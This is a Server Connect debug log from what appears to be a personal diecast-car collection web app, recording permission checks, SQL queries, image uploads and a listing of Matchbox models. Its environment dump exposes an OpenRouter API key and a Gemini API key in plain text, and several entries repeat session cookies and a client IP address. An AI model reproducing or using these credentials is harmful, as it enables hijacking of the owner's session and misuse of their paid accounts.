    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T06:46:55.368Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T06:46:55.368Z server-connect:app Executing action step identify
2026-02-04T06:46:55.368Z server-connect:app options: { provider: 'security' }
2026-02-04T06:46:55.368Z server-connect:output identity: 1
2026-02-04T06:46:55.368Z server-connect:app Executing action step restrict
2026-02-04T06:46:55.368Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:46:55.369Z server-connect:output restrict: undefined
2026-02-04T06:46:55.369Z server-connect:app Executing action step condition
2026-02-04T06:46:55.369Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T06:46:55.369Z server-connect:app Executing action step update
2026-02-04T06:46:55.369Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T06:46:55.370Z server-connect:output update: { affected: 1 }
2026-02-04T06:46:55.370Z server-connect:app Executing action step upload
2026-02-04T06:46:55.370Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T06:46:55.370Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T06:46:55.370Z server-connect:upload Process fields: 'images[]'
2026-02-04T06:46:55.370Z server-connect:upload Processing file: {
  name: 'Screenshot 2026-02-04 105314.jpg',
  data: <Buffer >,
  size: 108397,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-25-20378841770187615367',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: 'f192f24822295cf5f7a6961edcc4a8ad',
  mv: [Function: mv]
}
2026-02-04T06:46:55.370Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Screenshot_2026-02-04_105314_815e5c7f-a943-41f0-a811-3fd8b4fd4756.jpg',
  rel: 'public/assets/images/diecast/Screenshot_2026-02-04_105314_815e5c7f-a943-41f0-a811-3fd8b4fd4756.jpg'
}
2026-02-04T06:46:55.370Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Screenshot_2026-02-04_105314_815e5c7f-a943-41f0-a811-3fd8b4fd4756.jpg',
  rel: 'assets/images/diecast/Screenshot_2026-02-04_105314_815e5c7f-a943-41f0-a811-3fd8b4fd4756.jpg'
}
2026-02-04T06:46:55.370Z server-connect:output upload_image: [
  {
    name: 'Screenshot_2026-02-04_105314_815e5c7f-a943-41f0-a811-3fd8b4fd4756.jpg',
    path: '/public/assets/images/diecast/Screenshot_2026-02-04_105314_815e5c7f-a943-41f0-a811-3fd8b4fd4756.jpg',
    url: '/assets/images/diecast/Screenshot_2026-02-04_105314_815e5c7f-a943-41f0-a811-3fd8b4fd4756.jpg',
    type: 'image/jpeg',
    size: 108397
  }
]
2026-02-04T06:46:55.370Z server-connect:app Executing action step repeat
2026-02-04T06:46:55.370Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T06:46:55.370Z server-connect:app Executing action step insert
2026-02-04T06:46:55.370Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T06:46:55.370Z server-connect:output images: { affected: 1, identity: 176 }
2026-02-04T06:46:55.370Z server-connect:output repeat_images: [ {} ]
2026-02-04T06:46:55.371Z server-connect:output condition: undefined
2026-02-04T06:46:55.615Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:46:55.615Z server-connect:app Executing action step identify
2026-02-04T06:46:55.615Z server-connect:app options: { provider: 'security' }
2026-02-04T06:46:55.615Z server-connect:output identity: 1
2026-02-04T06:46:55.615Z server-connect:app Executing action step restrict
2026-02-04T06:46:55.615Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:46:55.615Z server-connect:output restrict: undefined
2026-02-04T06:46:55.615Z server-connect:app Executing action step paged
2026-02-04T06:46:55.616Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:46:55.618Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 30,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:46:55.871Z server-connect:router Serving templateView /
2026-02-04T06:46:55.872Z server-connect:app Executing action step identify
2026-02-04T06:46:55.872Z server-connect:app options: { provider: 'security' }
2026-02-04T06:46:55.872Z server-connect:output identity: 1
2026-02-04T06:46:55.872Z server-connect:app Executing action step restrict
2026-02-04T06:46:55.872Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:46:55.872Z server-connect:output restrict: undefined
2026-02-04T06:46:55.872Z server-connect:app Executing action step restrict
2026-02-04T06:46:55.872Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:46:55.873Z server-connect:output restrict: undefined
2026-02-04T06:46:55.873Z server-connect:router Render template layouts/main
2026-02-04T06:46:55.873Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=73',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=73',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T06:47:03.513Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T06:47:03.513Z server-connect:app Executing action step identify
2026-02-04T06:47:03.513Z server-connect:app options: { provider: 'security' }
2026-02-04T06:47:03.513Z server-connect:output identity: 1
2026-02-04T06:47:03.513Z server-connect:app Executing action step restrict
2026-02-04T06:47:03.514Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:47:03.514Z server-connect:output restrict: undefined
2026-02-04T06:47:03.514Z server-connect:app Executing action step condition
2026-02-04T06:47:03.514Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T06:47:03.514Z server-connect:app Executing action step update
2026-02-04T06:47:03.514Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T06:47:03.515Z server-connect:output update: { affected: 1 }
2026-02-04T06:47:03.515Z server-connect:app Executing action step upload
2026-02-04T06:47:03.515Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T06:47:03.515Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T06:47:03.515Z server-connect:upload Process fields: 'images[]'
2026-02-04T06:47:03.515Z server-connect:upload Processing file: {
  name: 'Screenshot 2026-02-04 105302.jpg',
  data: <Buffer >,
  size: 116789,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-26-20378841770187623512',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: 'ae3699bb41f380cfa6f21443d929431f',
  mv: [Function: mv]
}
2026-02-04T06:47:03.515Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Screenshot_2026-02-04_105302_588cd78e-0f67-45a8-a3cf-df81e053fc17.jpg',
  rel: 'public/assets/images/diecast/Screenshot_2026-02-04_105302_588cd78e-0f67-45a8-a3cf-df81e053fc17.jpg'
}
2026-02-04T06:47:03.515Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Screenshot_2026-02-04_105302_588cd78e-0f67-45a8-a3cf-df81e053fc17.jpg',
  rel: 'assets/images/diecast/Screenshot_2026-02-04_105302_588cd78e-0f67-45a8-a3cf-df81e053fc17.jpg'
}
2026-02-04T06:47:03.515Z server-connect:output upload_image: [
  {
    name: 'Screenshot_2026-02-04_105302_588cd78e-0f67-45a8-a3cf-df81e053fc17.jpg',
    path: '/public/assets/images/diecast/Screenshot_2026-02-04_105302_588cd78e-0f67-45a8-a3cf-df81e053fc17.jpg',
    url: '/assets/images/diecast/Screenshot_2026-02-04_105302_588cd78e-0f67-45a8-a3cf-df81e053fc17.jpg',
    type: 'image/jpeg',
    size: 116789
  }
]
2026-02-04T06:47:03.515Z server-connect:app Executing action step repeat
2026-02-04T06:47:03.515Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T06:47:03.515Z server-connect:app Executing action step insert
2026-02-04T06:47:03.515Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T06:47:03.516Z server-connect:output images: { affected: 1, identity: 177 }
2026-02-04T06:47:03.516Z server-connect:output repeat_images: [ {} ]
2026-02-04T06:47:03.516Z server-connect:output condition: undefined
